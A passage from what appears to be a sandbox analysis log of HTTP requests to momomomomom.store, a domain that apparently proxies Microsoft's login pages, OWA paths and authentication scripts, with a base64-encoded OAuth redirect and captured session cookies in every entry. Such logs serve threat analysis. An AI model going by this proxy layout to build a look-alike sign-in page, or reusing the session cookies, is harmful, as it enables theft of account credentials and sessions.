sec-ch-ua-platform: "Windows" Referer: https://hdbfhja.store/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1 Host: momomomomom.store Connection: keep-alive Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://hdbfhja.store/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=AxaeKThWurNR; qPdM.sig=CVDwFDjZ4ozcWtzyJC0GeIr7hHc
Source: global traffic	HTTP traffic detected: GET /owa/ HTTP/1.1 Host: momomomomom.store Connection: keep-alive Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://hdbfhja.store/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=AxaeKThWurNR; qPdM.sig=CVDwFDjZ4ozcWtzyJC0GeIr7hHc
Source: global traffic	HTTP traffic detected: GET /?olgv469ez=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9YzA2ZmQ4MDEtMjdjYy0zMmViLTA4ZWItYWIyMjIzZWZhMzVjJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODUwNzAzMzE4NTMxNTAwMC42M2EzOTllNy00NjgxLTRmMDItYWU5Yy1mZGMyNjViYjIyNzUmc3RhdGU9RGN0QkZvQWdDQUJScmRkeFNBUUJQWTZhYmx0Ml9WajgyVTBNSVp6dWNCRTl3WlNyb0NGenJzSlpFUEZXN3R6YU1paGFNNVNOQkgyMUNmdVpwRElHa1VuMDkwcnYxOU1Q HTTP/1.1 Host: momomomomom.store Connection: keep-alive Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://hdbfhja.store/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=AxaeKThWurNR; qPdM.sig=CVDwFDjZ4ozcWtzyJC0GeIr7hHc; ClientId=12D705722FB7452FB0AD373906C89A99; OIDC=1; OpenIdConnect.nonce.v3.KY9sv9g9Pshs6ar1NzzU0W8N6RSqzzXDgEFN-DwDdyc=638507033185315000.63a399e7-4681-4f02-ae9c-fdc265bb2275; X-OWA-RedirectHistory=ArLym14BuGiZg8Nu3Ag
Source: global traffic	HTTP traffic detected: GET /aadcdn.msftauth.net/~/shared/1.0/content/js/BssoInterrupt_Core_Ggyc2EJnCaHFrI6xkBPLcg2.js HTTP/1.1 Host: momomomomom.store Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://momomomomom.store/?olgv469ez=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9YzA2ZmQ4MDEtMjdjYy0zMmViLTA4ZWItYWIyMjIzZWZhMzVjJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODUwNzAzMzE4NTMxNTAwMC42M2EzOTllNy00NjgxLTRmMDItYWU5Yy1mZGMyNjViYjIyNzUmc3RhdGU9RGN0QkZvQWdDQUJScmRkeFNBUUJQWTZhYmx0Ml9WajgyVTBNSVp6dWNCRTl3WlNyb0NGenJzSlpFUEZXN3R6YU1paGFNNVNOQkgyMUNmdVpwRElHa1VuMDkwcnYxOU1Q Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=AxaeKThWurNR; qPdM.sig=CVDwFDjZ4ozcWtzyJC0GeIr7hHc; ClientId=12D705722FB7452FB0AD373906C89A99; OIDC=1; OpenIdConnect.nonce.v3.KY9sv9g9Pshs6ar1NzzU0W8N6RSqzzXDgEFN-DwDdyc=638507033185315000.63a399e7-4681-4f02-ae9c-fdc265bb2275; X-OWA-RedirectHistory=ArLym14BuGiZg8Nu3Ag; esctx-bjOzqAbNZw=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8IgemtTTC9LW7qmHaWJvJnA1zYQxhG2ND3S2cSGtRL2YYfV8ypAElv4SCgLm9Preyh1c06_YlNh1SprOxWk8jSIvJvOGIcIAVgySCfatiP6q57lOpAggEZCsval4FboUtpJcjr0RDDdCtELrntv4kayAA; fpc=AsSibJWZZjJCjo1UHVxahpU; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd80CYx3a1vXv40ORceBkSsnZh87IMQU0xdMDoD8sA1TPnl6D9SswYpnCauOXsYRC8WxDOHoTuE_wMuNraHNVsepMBS-PkS7z5cGkbQ2dkM76ceA_Ddzw0Y5JaYTwsXJ2ffjPtscKd_A5rKaGLf1MxkuuYuxXKFliet1QMFghbFODEgAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd
Source: global traffic	HTTP traffic detected: GET /?olgv469ez=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9YzA2ZmQ4MDEtMjdjYy0zMmViLTA4ZWItYWIyMjIzZWZhMzVjJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODUwNzAzMzE4NTMxNTAwMC42M2EzOTllNy00NjgxLTRmMDItYWU5Yy1mZGMyNjViYjIyNzUmc3RhdGU9RGN0QkZvQWdDQUJScmRkeFNBUUJQWTZhYmx0Ml9WajgyVTBNSVp6dWNCRTl3WlNyb0NGenJzSlpFUEZXN3R6YU1paGFNNVNOQkgyMUNmdVpwRElHa1VuMDkwcnYxOU1Q&sso_reload=true HTTP/1.1 Host: momomomomom.store Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://momomomomom.store/?olgv469ez=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9YzA2ZmQ4MDEtMjdjYy0zMmViLTA4ZWItYWIyMjIzZWZhMzVjJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODUwNzAzMzE4NTMxNTAwMC42M2EzOTllNy00NjgxLTRmMDItYWU5Yy1mZGMyNjViYjIyNzUmc3RhdGU9RGN0QkZvQWdDQUJScmRkeFNBUUJQWTZhYmx0Ml9WajgyVTBNSVp6dWNCRTl3WlNyb0NGenJzSlpFUEZXN3R6YU1paGFNNVNOQkgyMUNmdVpwRElHa1VuMDkwcnYxOU1Q Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=AxaeKThWurNR; qPdM.sig=CVDwFDjZ4ozcWtzyJC0GeIr7hHc; ClientId=12D705722FB7452FB0AD373906C89A99; OIDC=1; OpenIdConnect.nonce.v3.KY9sv9g9Pshs6ar1NzzU0W8N6RSqzzXDgEFN-DwDdyc=638507033185315000.63a399e7-4681-4f02-ae9c-fdc265bb2275; X-OWA-RedirectHistory=ArLym14BuGiZg8Nu3Ag; esctx-bjOzqAbNZw=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8IgemtTTC9LW7qmHaWJvJnA1zYQxhG2ND3S2cSGtRL2YYfV8ypAElv4SCgLm9Preyh1c06_YlNh1SprOxWk8jSIvJvOGIcIAVgySCfatiP6q57lOpAggEZCsval4FboUtpJcjr0RDDdCtELrntv4kayAA; fpc=AsSibJWZZjJCjo1UHVxahpU; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd80CYx3a1vXv40ORceBkSsnZh87IMQU0xdMDoD8sA1TPnl6D9SswYpnCauOXsYRC8WxDOHoTuE_wMuNr
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1 Host: momomomomom.store Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://momomomomom.store/?olgv469ez=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9YzA2ZmQ4MDEtMjdjYy0zMmViLTA4ZWItYWIyMjIzZWZhMzVjJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODUwNzAzMzE4NTMxNTAwMC42M2EzOTllNy00NjgxLTRmMDItYWU5Yy1mZGMyNjViYjIyNzUmc3RhdGU9RGN0QkZvQWdDQUJScmRkeFNBUUJQWTZhYmx0Ml9WajgyVTBNSVp6dWNCRTl3WlNyb0NGenJzSlpFUEZXN3R6YU1paGFNNVNOQkgyMUNmdVpwRElHa1VuMDkwcnYxOU1Q Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=AxaeKThWurNR; qPdM.sig=CVDwFDjZ4ozcWtzyJC0GeIr7hHc; ClientId=12D705722FB7452FB0AD373906C89A99; OIDC=1; OpenIdConnect.nonce.v3.KY9sv9g9Pshs6ar1NzzU0W8N6RSqzzXDgEFN-DwDdyc=638507033185315000.63a399e7-4681-4f02-ae9c-fdc265bb2275; X-OWA-RedirectHistory=ArLym14BuGiZg8Nu3Ag; esctx-bjOzqAbNZw=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8IgemtTTC9LW7qmHaWJvJnA1zYQxhG2ND3S2cSGtRL2YYfV8ypAElv4SCgLm9Preyh1c06_YlNh1SprOxWk8jSIvJvOGIcIAVgySCfatiP6q57lOpAggEZCsval4FboUtpJcjr0RDDdCtELrntv4kayAA; fpc=AsSibJWZZjJCjo1UHVxahpU; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd80CYx3a1vXv40ORceBkSsnZh87IMQU0xdMDoD8sA1TPnl6D9SswYpnCauOXsYRC8WxDOHoTuE_wMuNraHNVsepMBS-PkS7z5cGkbQ2dkM76ceA_Ddzw0Y5JaYTwsXJ2ffjPtscKd_A5rKaGLf1MxkuuYuxXKFliet1QMFghbFODEgAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/ests/2.1/content/cdnbundles/converged.v2.login.min_1ito3russhq-9gioj-zd4w2.css HTTP/1.1 Host: momomomomom.store Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://momomomomom.store/?olgv469ez=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9YzA2ZmQ4MDEtMjdjYy0zMmViLTA4ZWItYWIyMjIzZWZhMzVjJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODUwNzAzMzE4NTMxNTAwMC42M2EzOTllNy00NjgxLTRmMDItYWU5Yy1mZGMyNjViYjIyNzUmc3RhdGU9RGN0QkZvQWdDQUJScmRkeFNBUUJQWTZhYmx0Ml9WajgyVTBNSVp6dWNCRTl3WlNyb0NGenJzSlpFUEZXN3R6YU1paGFNNVNOQkgyMUNmdVpwRElHa1VuMDkwcnYxOU1Q&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=AxaeKThWurNR; qPdM.sig=CVDwFDjZ4ozcWtzyJC0GeIr7hHc; ClientId=12D705722FB7452FB0AD373906C89A99; OIDC=1; OpenIdConnect.nonce.v3.KY9sv9g9Pshs6ar1NzzU0W8N6RSqzzXDgEFN-DwDdyc=638507033185315000.63a399e7-4681-4f02-ae9c-fdc265bb2275; X-OWA-RedirectHistory=ArLym14BuGiZg8Nu3Ag; esctx-bjOzqAbNZw=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8IgemtTTC9LW7qmHaWJvJnA1zYQxhG2ND3S2cSGtRL2YYfV8ypAElv4SCgLm9Preyh1c06_YlNh1SprOxWk8jSIvJvOGIcIAVgySCfatiP6q57lOpAggEZCsval4FboUtpJcjr0RDDdCtELrntv4kayAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AQUAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd81MtlzOMUqai_lrQ4OehTgaI6WT4Gwez8EegyOeoZfYtQiKO797WMjrfRHJHBqBTARqxI5m3J_dUVT21LfL2OGiqaYBt2a9dxces4osRFpysgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8W-fsv7Am8caeqHVPw8WIyoVIsOiN_QELm3hAg8L7YYdZSCIQsO6_guulyvonybNRYdr25beXe6dMX72VAvo1Cls1uzk4iyr5PLP0R2LyFNqUAVjaTEYWlcVyVhRhEoNGyhTqFi18lkC810TXU5UHG_4-lAK6ENVwRF3PEFyPN4cgAA; esctx-pKbecVQ71y0=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd81VR_tmvu-exYpIwgmgPURr_fkT70K2nXlZqyPemUz2W2VkaV6rlqxLtIikCweQPu4jxdcTPf0uV1Hlg0nVat9wcEP45r9pAG5iF1-t_jYtA1-Wtihi6mm1w3jNdvL3xpNIURgBMsRT5uExKgnddqziAA; fpc=AsSibJWZZjJCjo1UHVxahpWerOTJAQAAANlpzN0OAAAA
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/js/ConvergedLogin_PCore_IDwaQXicOTFiRVOQGoK9bQ2.js HTTP/1.1 Host: momomomomom.store Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://momomomomom.store/?olgv469ez=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9YzA2ZmQ4MDEtMjdjYy0zMmViLTA4ZWItYWIyMjIzZWZhMzVjJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODUwNzAzMzE4NTMxNTAwMC42M2EzOTllNy00NjgxLTRmMDItYWU5Yy1mZGMyNjViYjIyNzUmc3RhdGU9RGN0QkZvQWdDQUJScmRkeFNBUUJQWTZhYmx0Ml9WajgyVTBNSVp6dWNCRTl3WlNyb0NGenJzSlpFUEZXN3R6YU1paGFNNVNOQkgyMUNmdVpwRElHa1VuMDkwcnYxOU1Q&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=AxaeKThWurNR; qPdM.sig=CVDwFDjZ4ozcWtzyJC0GeIr7hHc; ClientId=12D705722FB7452FB0AD373906C89A99; OIDC=1; OpenIdConnect.nonce.v3.KY9sv9g9Pshs6ar1NzzU0W8N6RSqzzXDgEFN-DwDdyc=638507033185315000.63a399e7-4681-4f02-ae9c-fdc265bb2275; X-OWA-RedirectHistory=ArLym14BuGiZg8Nu3Ag; esctx-bjOzqAbNZw=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8IgemtTTC9LW7qmHaWJvJnA1zYQxhG2ND3S2cSGtRL2YYfV8ypAElv4SCgLm9Preyh1c06_YlNh1SprOxWk8jSIvJvOGIcIAVgySCfatiP6q57lOpAggEZCsval4FboUtpJcjr0RDDdCtELrntv4kayAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AQUAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd81MtlzOMUqai_lrQ4OehTgaI6WT4Gwez8EegyOeoZfYtQiKO797WMjrfRHJHBqBTARqxI5m3J_dUVT21LfL2OGiqaYBt2a9dxces4osRFpysgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8W-fsv7Am8caeqHVPw8WIyoVIsOiN_QELm3hAg8L7YYdZSCIQsO6_guulyvonybNRYdr25beXe6dMX72VAvo1Cls1uzk4iyr5PLP0R2LyFNqUAVjaTEYWlcVyVhRhEoNGyhTqFi18lkC810TXU5UHG_4-lAK6ENVwRF3PEFyPN4cgAA; esctx-pKbecVQ71y0=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd81VR_tmvu-exYpIwgmgPURr_fkT70K2nXlZqyPemUz2W2VkaV6rlqxLtIikCweQPu4jxdcTPf0uV1Hlg0nVat9wcEP45r9pAG5iF1-t_jYtA1-Wtihi6mm1w3jNdvL3xpNIURgBMsRT5uExKgnddqziAA; fpc=AsSibJWZZjJCjo1UHVxahpWerOTJAQAAANlpzN0OAAAA
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_0lriinjhzchre9aqecvmpg2.js HTTP/1.1 Host: momomomomom.store Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://momomomomom.store/?olgv469ez=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9YzA2ZmQ4MDEtMjdjYy0zMmViLTA4ZWItYWIyMjIzZWZhMzVjJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODUwNzAzMzE4NTMxNTAwMC42M2EzOTllNy00NjgxLTRmMDItYWU5Yy1mZGMyNjViYjIyNzUmc3RhdGU9RGN0QkZvQWdDQUJScmRkeFNBUUJQWTZhYmx0Ml9WajgyVTBNSVp6dWNCRTl3WlNyb0NGenJzSlpFUEZXN3R6YU1paGFNNVNOQkgyMUNmdVpwRElHa1VuMDkwcnYxOU1Q&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=AxaeKThWurNR; qPdM.sig=CVDwFDjZ4ozcWtzyJC0GeIr7hHc; ClientId=12D705722FB7452FB0AD373906C89A99; OIDC=1; OpenIdConnect.nonce.v3.KY9sv9g9Pshs6ar1NzzU0W8N6RSqzzXDgEFN-DwDdyc=638507033185315000.63a399e7-4681-4f02-ae9c-fdc265bb2275; X-OWA-RedirectHistory=ArLym14BuGiZg8Nu3Ag; esctx-bjOzqAbNZw=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8IgemtTTC9LW7qmHaWJvJnA1zYQxhG2ND3S2cSGtRL2YYfV8ypAElv4SCgLm9Preyh1c06_YlNh1SprOxWk8jSIvJvOGIcIAVgySCfatiP6q57lOpAggEZCsval4FboUtpJcjr0RDDdCtELrntv4kayAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; 